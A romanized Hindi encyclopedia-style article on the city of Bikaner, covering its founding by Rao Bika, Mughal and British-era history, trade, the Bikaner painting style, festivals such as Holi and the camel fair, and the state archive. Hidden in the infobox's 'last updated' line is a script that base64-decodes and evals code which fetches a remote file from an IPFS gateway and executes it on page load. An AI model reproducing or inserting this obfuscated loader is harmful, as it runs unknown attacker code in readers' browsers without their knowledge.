बीकानेर

bikaner
|200px|center
vivaran	bikaner shahar, uttar-madhy rajasthan rajy, pashchimottar bharat mean sthit hai.
rajy	rajasthan
zila	bikaner
sthapana	sanh 1448 ee. rathaur jati ke ek rajapoot saradar bika dvara sthapit
bhaugolik sthiti	uttar- 28° 01′00' - poorv- 73° 18′43'
marg sthiti	bikaner jayapur se 316 kimi, jodhapur se 240 kimi aur jaisalamer se 330 kimi ki doori par sthit hai.
prasiddhi	bikaner bhavy mahaloan ki sundarata, pravasi pakshiyoan aur ooantoan ke lie prasiddh hai.
kaise pahuanchean	rel, bas adi se pahuancha ja sakata hai.
havaee adda	nal havaee adda
relave steshan	bikaner jankshan relave steshan
bas adda	bas adda bikanera
yatayat	aauto riksha, siti bas
kya dekhean	lal patthar ke bhavy prasad, haveliyaan, kolayat, gajaner ke ramanik sthal, rajy abhilekhagar, myoojiyam
kahaan thaharean	hotal, dharmashala, atithi grah
kya kharidean	ooni shal, kalin, mishri, hathidaant aur lakh ki hastanirmit vastuaian
es.ti.di. kod	0151
e.ti.em	lagabhag sabhi
chitr:Map-icon.gif	googal manachitr
any janakari	bikaner sthit rajasthan rajy abhilekhagar desh ke sabase achh‍chhe aur vishh‍v ke charchit abhilekhagaroan mean se ek hai.
adyatan‎	15:35, 9 disambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bikaner shahar, uttar-madhy rajasthan rajy, pashchimottar bharat mean sthit hai. bikaner dilli se 386 kimi pashchim mean p data hai. bikaner rajasthan ka ek nagar tatha purani riyasat tha. bikaner shahar bhootapoorv bikaner riyasat ki rajadhani tha. lagabhag sanh 1465 ee. mean rathaur jati ke ek rajapoot saradar bika ne any rajapoot jatiyoan ka bhoobhag jitana praranbh kiya. sanh 1488 ee. mean unhoanne bikaner (bika ka avas kshetr) shahar ka nirman praranbh kiya. sanh 1504 ee. mean bika ki mrityu ke bad unake uttaradhikariyoan ne unake rajy kshetr ka kramik vistar kiya.

itihas

yah rajy mugal badashahoan, jinhoanne sanh 1526 ee. se 1857 ee. tak dilli par shasan kiya, aur usake prati nishthavan bana raha. ray sianh, jinhoanne sanh 1571 ee. mean bikaner ki saradari paee, badashah akabar ke sabase pratishthit senapatiyoan mean se ek ban ge aur bikaner ke pahale raja niyukt hue. 18vian shatabdi mean mugaloan ke patan ke sath hi bikaner aur jodhapur ki riyasatoan mean bar-bar l daiyaan hoti rahian. sanh 1818 ee. mean ek sandhi huee, jisane british varchasv ki sthapana ki aur riyasat mean british sena punarvyavastha le aee. sanh 1833 ee. mean ise rajapootana ejeansi mean shamil kie jane se pahale tak sthaniy thakuroan ya zamiandaroan ke vidrohi tevar jari rahe.

rajy ki sainy seva mean bikaneri ooant savar sena shamil hai, jisane baksar vidroh (1900) ke dauran chin aur pratham vishv yuddh ke dauran madhy-poorv mean khyati arjit ki thi. bikaner ko, jisaka kshetraphal tab 60,000 varg kimi se adhik ho gaya tha, sanh 1949 ee. mean rajasthan ka aang banakar tin ziloan mean baant diya gaya. maharaj bikaner narendr-mandal (chembar aauf prinsej) ke arambh se hi ek mahattvapoorn sadasy rahe. svadhinata ke uparant bikaner riyasat bharat mean vilin ho gayi. purana bikaner tho de uthe hue maidan par sthit hai aur paanch dvaroan ke sath-sath sat kilomitar lanbi panktibaddh divar se ghira hua hai.

yatayat aur parivahan

yah jodhapur, jayapur, dilli, nagaur aur ganganagar se relamarg aur s dak marg dvara ju da hua hai. zile ki sima jahaan chooroo, nagaur, ganganagar, hanumanagadh, jodhapur v jaisalamer ki sima ko chhooti hai, vahian antararashtriy sima pakistan se milati hai. zile ke do prakritik bhagoan ko utari v pashchimi registan v dakshini v poorv arddh maroosthal mean vibhajit kiya sakata hai.

krishi aur khanij

yahaan koee nadi n hone ke karan mukhyat: gahare nalakoopoan se hi sianchaee ki jati hai. bajara, jvar aur dalahan yahaan ki pramukh fasalean haian. thumb|left|bhaandasar jain mandir, bikaner

udyog aur vyapar

prachin kafiloan ke marg par bikaner ki anukool sthiti ke karan, jo pashchimi madhy eshiya se ate the, prachin kal mean yah mukhy vyapar ka kendr ban gaya tha. bikaner ab oon, cham da, imarati patthar, namak aur khadyann ka vyaparik keandr hai. bikaneri ooni shal, kalin aur mishri prasiddh hai, sath hi yahaan hathidaant aur lakh ki hastanirmit vastuaian milati haian. bikaner mean vidyut aur abhiyaantriki karyashalaaian, relave karyashalaaian aur kaanch, mitti ke bartan, namada, rasayan, joote aur sigaret banane ki audyogik ikaiyaan haian. bikaner laharadar baloo ke tiloan vale banjar kshetr mean sthit hai, jahaan ooantoan, gho doan ki naslean taiyar karana pramukh vyavasay hai.

shikshan sansthan

bikaner ke mahavidyalay (medikal skool aur shikshan prashikshan sansthan sahit) rajasthan vishvavidyalay se sanbaddh haian. yahaan ka 'sangit bharati' namak shikshan sansthan mukhy roop se ullekhaniy hai. jisake dvara prativarsh hazaroan vidyarthiyoan ko sangit ki shiksha di jati hai.

chitrakala

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marava d shaili se sambandhit bikaner shaili ka sarvadhik vikas anoop sianh ke shasan kal mean hua. ramalal, ali raja, hasan raja, rookanuddin adi is shaili ke ullekhaniy kalakar the. is shaili par panjabi shaili ka bhi prabhav drishtigochar hota hai kyoanki bikaner kshetr uttar mean panjab ke samip hi sthit hai. yahaan ke shasako ki niyukti dakshin mean hone ke karan is shaili par dakkhini shaili ka bhi prabhav p da hai. is shaili ki sabase pramukh visheshata hai muslim kalakaroan dvara hindoo dharm se sambandhit evan pauranik vishayoan par chitraankan karana.

tyoharoan ka anand

thumb|250px||ooantoan ka prasiddh mela, bikaner

ooant mela (janavari)

ooantoan ka utsav, ooantoan ki dau d, ooantoan ki kalabazi, nrity v doodh dene ki pratispardha ka ek darshaniy tyohar hai, jo is samaroh ka ek hissa hota hai.

kolayat mela (navanbar)

kartik ke mahine mean poornamasi ke din pushkar mele ke sath p dane vale is mele mean bhakt kolayat jhil mean dubaki lagate haian.

ganagaur tyohar (aprail)

ganagaur ka yah tyohar chaitr shukl tritiya ko manaya jata hai. holi ke doosare din (chaitr krishna pratipada) se jo navavivahitaean pratidin ganagaur poojati haian, ve chaitr shukl dvitiya ke din kisi nadi, talab ya sarovar par jakar apani pooji huee ganagauroan ko pani pilati haian aur doosare din sayankal ke samay unaka visarjan kar deti haian. yah vrat vivahita l dakiyoan ke lie pati ka anurag utpann karane vala aur kumariyoan ko uttam pati dene vala hai. isase suhaginoan ka suhag akhand rahata hai. [[chitr:Gangaur-Festival-1.jpg|thumb|left|eeshar aur gaur, ganagaur, bikaner]]

holi (march)

holi se kee din poorv shuroo hone vala rangoan ka yah tyohar vishesh roop se darshaniy hai. bikaner mean holi ka tyohar nau din tak manaya jata hai. phalgun mah mean khelani saptami se shuroo hua yah tyohar dhulandi ke din tak anavarat jari rahata hai. bikaner ke shakadvipiy brahmanoan ke dvara khelani saptami ke din marunayak chauk mean 'thamb poojan' ke sath hi holi ke tyohar ki shuruat ho jati hai. chooanki shakadvipiy samaj ke log bikaner ke mandiroan ke pujari haian at: shahar ke prachin naganechi mandir mean dhoomadham se pooja ki jati hai aur maan ko gulal abir se holi khilaee jati hai. is phagotsav ke bad purush shankh bajate hue v phag ke git gate hue shahar mean pravesh karate haian tatha holi ke prarambh ki soochana dete haian. agale hi din ashtami ko shahar ke kikani vyasoan ke chauk mean, lalani vyasoan ke chauank mean, sunaroan ki guva d mean v any jagahoan par bhi thamb poojan kar diya jata hai aur isi ke sath hi holakashtak prarambh ho jate haian. holakashtak ka poora samay masti, ullas, alh data ke sath bitaya jata hai. in dinoan mean vivah adi shubh kary varjit mane ge haian.

holi v dolachi pani ka khel

bikaner ki holi ka sabase akarshan ka keandr hota hai pushkarana brahman samaj ke harsh v vyas jati ke bich khela jane vala dochali pani ka khel. 'dolach' cham de ka bana ek aisa patr hai jisamean pani bhara jata hai. is dolachi mean bhare pani ko poori taqat ke sath samane vale ki pith par mara jata hai. bikaner ke harshoan ke chauk mean rahane vale is ayojan ko dekhane ke lie bhari bhi d um dati hai. prem ke nir se bhari yah dolachi jab pyar se pith par p dati hai to isaki garjan darshakoan ko bhi ahladit kar deti hai. qrarib char sau sal se chal rahe is ayojan ke pichhe apana ek samridhd v gauravashali itihas hai jo jatiy sangharsh se juh da hua hai. harsh v vyas jati ke log aj bhi b di shiddat v eemanadari se is itihas ko saheje hue haian. aisa hi ek ayojan bikaner ke barahaguva d chauk mean ojha v chhangani jati ke bich holika dahan vale din hota hai.

bikaner abhilekhagar

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thumb|350px|lakshmi nivas mahal, bikaner bikaner sthit rajasthan rajy abhilekhagar desh ke sabase achh‍chhe aur vishh‍v ke charchit abhilekhagaroan mean se ek hai. is abhilekhagar ki sh‍thapana sanh 1955 ee. mean huee aur yah apani apar v amoolh‍y abhilekh nidhi ke lie pratishthit hai. yahaan sanrakshit durlabh dash‍tavehzoan ki suvh‍yavasthit vh‍yavash‍tha kabiletarif hai. apane samriddh itihas srotoan aur unake behatar prabandhan, rakharakhav ke chalate hi shayad ise desh ka sabase achh‍chha abhilekhagar mana jata hai. is abhilekhagar ki tin visheshataaian haian-

• ek to yahaan upalabh‍dh samagri is lihaz se nisandeh roop se yah desh ke sabase samriddh abhilekhagaroan mean se ek hai.
• doosara upalabh‍dh samagri ko sanrakshit surakshit rakhane ke taur tariqe aur
• tisara isaka prabandhan.

in sabaka ek sath milana apane ap mean b di bat hai.

janasankhya

2001 ki janaganana ke anusar bikaner shahar ki janasankhya 5,29,007 hai. bikaner zile ki kul janasankhya 16,73,562 hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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vithika

• chitr:Bikaner-Fort.jpg

  bikaner ka qila (1896)

• chitr:Lalgarh-Palace-Bikaner.jpg

  lal gadh mahal, bikaner (1900)

• chitr:Junagarh-Fort-Bikaner-1.jpg

  joonagadh qila, bikaner

• chitr:Lawrence-School-Bikaner.jpg

  l aaureans skool, bikaner (1900)

• chitr:Lalgarh-Palace-Bikaner-1.jpg

  lal gadh mahal, bikaner (1900)

• chitr:Junagarh-Fort-Bikaner-2.jpg

  joonagadh qila, bikaner

• chitr:Lall-Garh-Palace-Bikaner.jpg

  lal gadh mahal, bikaner

sanbandhit lekh

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